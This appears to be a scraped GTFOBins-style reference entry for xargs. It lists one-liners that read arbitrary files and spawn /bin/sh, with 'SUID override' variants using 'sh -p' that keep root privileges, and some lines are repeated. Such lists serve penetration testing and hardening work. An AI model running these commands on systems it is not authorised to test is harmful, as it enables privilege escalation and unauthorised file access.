xargs

File Read

xargs -a /path/to/input-file -0

Shell

xargs -a /dev/null /bin/sh

SUID override:

xargs -a /dev/null /bin/sh -p

xargs -a /dev/null /bin/sh

SUID override:

xargs -a /dev/null /bin/sh -p

echo x | xargs -o -a /dev/null /bin/sh

SUID override:

echo x | xargs -o -a /dev/null /bin/sh -p